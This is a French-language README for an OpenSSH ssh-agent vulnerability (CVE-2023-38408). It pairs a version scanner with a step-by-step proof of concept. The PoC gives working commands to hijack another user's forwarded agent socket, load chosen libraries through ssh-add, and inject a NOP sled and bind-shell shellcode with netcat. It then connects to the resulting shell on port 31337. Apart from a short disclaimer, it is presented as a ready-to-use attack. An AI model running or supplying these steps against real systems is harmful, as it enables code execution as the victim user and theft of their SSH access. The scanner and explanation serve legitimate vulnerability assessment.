
CVE-2023-38408 Scanner de vulnérabilité SSH & PoC
Une vulnérabilité a été découverte dans OpenSSH (versions antérieures à 9.3p2). La fonctionnalité PKCS#11 dans ssh-agent d'OpenSSH possède un chemin de recherche insuffisamment fiable, conduisant à une exécution de code à distance si un agent est transféré vers un système contrôlé par l'attaquant (le code dans /usr/lib n'est pas nécessairement sûr pour être chargé dans ssh-agent). Cette faille permet à un attaquant ayant le contrôle du socket d'agent transféré sur le serveur et la capacité d'écrire sur le système de fichiers de la machine cliente d'exécuter du code arbitraire avec les privilèges de l'utilisateur exécutant ssh-agent.
Dans l'exemple ci-dessous, nous pouvons brièvement observer les étapes, de l'exploration à la compromission de l'utilisateur alice.
Comme mentionné précédemment, dans cette POC nous utiliserons 2 utilisateurs connectés à un serveur via SSH. Pour suivre les étapes ci-dessous, nous supposons que les 2 utilisateurs ont déjà accès au serveur (SSH).
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
Enfin, appuyez sur Ctrl-C pour arrêter le transfert netcat une fois le shellcode placé avec succès dans la mémoire de l'agent.
[!NOTE] Déclencher SIGSEGV 💬
SIGSEGV est un signal connu d'un processus informatique émis lorsqu'une référence mémoire invalide (défaut de segmentation) se produit. Lorsqu'il reçoit le signal SIGSEGV, le noyau reconnaît qu'un accès mémoire invalide s'est produit et procède à l'appel du gestionnaire de signal personnalisé plutôt que de terminer brutalement le programme. Ce faisant, l'attaquant saisit l'opportunité de manipuler l'exécution du programme et de l'orienter vers le code malveillant injecté situé dans le NOP sled.
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]
nc localhost 31337
La vulnérabilité affecte principalement les systèmes où l'agent SSH d'OpenSSH est utilisé et où la fonction de transfert d'agent est activée. Les organisations et les individus qui utilisent OpenSSH doivent évaluer rapidement leurs configurations pour déterminer une exposition potentielle. Si votre système remplit les conditions mentionnées, il est crucial de prendre des mesures immédiates pour atténuer le risque associé à CVE-2023-38408.
git clone https://github.com/TX-One/CVE-2023-38408.git
cd CVE-2023-38408
python CVE-2023-38408_scanner.py -t <cible> -p <port>
Client Serveur
| --- SSH-2.0-Client_Test ----> |
| <---- Bannière SSH Serveur ----- |
TXOne SSH Vulnerability Scanner : CVE-2023-38408
Développé par TXOne
[+] Connexion à 192.168.1.100:22...
[+] Bannière reçue : SSH-2.0-OpenSSH_9.2
[+] Version OpenSSH détectée : 9.2
[!] Version vulnérable d'OpenSSH détectée : 9.2
Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. Obtenez toujours une autorisation appropriée avant de scanner des ressources réseau.